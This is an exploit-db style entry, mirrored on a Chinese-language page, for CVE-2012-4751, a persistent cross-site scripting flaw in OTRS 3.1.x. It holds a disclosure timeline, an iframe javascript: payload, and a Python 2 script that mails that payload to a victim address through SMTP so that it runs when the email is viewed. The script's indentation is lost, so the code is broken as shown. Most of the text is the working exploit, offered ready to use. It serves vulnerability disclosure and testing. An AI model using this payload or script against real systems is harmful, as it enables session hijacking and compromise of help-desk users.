OTRS 3.1 – Persistent Cross-Site Scripting

  • 作者： Mike Eduard
    日期： 2012-10-18
  • 类别：
    平台：
  • 来源：https://www.exploit-db.com/exploits/22070/
  • #!/usr/bin/python

'''

Author: Mike Eduard - Znuny - Enterprise Services for OTRS 
Product: OTRS Open Technology Real Services
Version: 3.1.8, 3.1.9 and 3.1.10
Vendor Homepage: http://otrs.org
CVE: 2012-4751

Timeline:
03 Sep 2012: Vulnerability reported + fix to vendor
04 Sep 2012: Vulnerability reported to CERT
05 Sep 2012: Response received from CERT
28 Sep 2012: Update from vendor to have it fixed and released on 16 Oct 2012 
16 Oct 2012: Update: vulnerability patched
 http://www.kb.cert.org/vuls/id/603276
 http://znuny.com/#!/advisory/ZSA-2012-03
 http://www.otrs.com/en/open-source/community-news/security-advisories/security-advisory-2012-03/
17 Oct 2012: Public Disclosure

Installed On: Windows Server 2008 R2 & Open SUSE 12.1
Client Test OS: Window 7 Pro SP1 (x86)
Browser Used: Firefox 14+16 & Opera 12.01 

Injection Point: HTML Email 
Injection Payload(s):
1: <iframe src="https://www.exploit-db.com/exploits/22070/ javascript:alert('XSS Exploit');"></iframe>

'''

import smtplib, urllib2

payload = """
<iframe src="https://www.exploit-db.com/exploits/22070/ javascript:alert('XSS Exploit');"></iframe>
"""

def sendMail(dstemail, frmemail, smtpsrv, username, password):
msg= "From: hacker@znuny.local\n"
msg += "To: victim@victim.local\n"
msg += 'Date: Today\r\n'
msg += "Subject: Offensive Security\n"
msg += "Content-type: text/html\n\n"
msg += "XSS" + payload + "\r\n\r\n"
server = smtplib.SMTP(smtpsrv)
server.login(username,password)
try:
server.sendmail(frmemail, dstemail, msg)
except Exception, e:
print "[-] Failed to send email:"
print "[*] " + str(e)
server.quit()

username = "hacker@znuny.local"
password = "123456"
dstemail = "victim@victim.local"
frmemail = "hacker@znuny.local"
smtpsrv= "127.0.0.1"

print "[*] Sending Email"
sendMail(dstemail, frmemail, smtpsrv, username, password)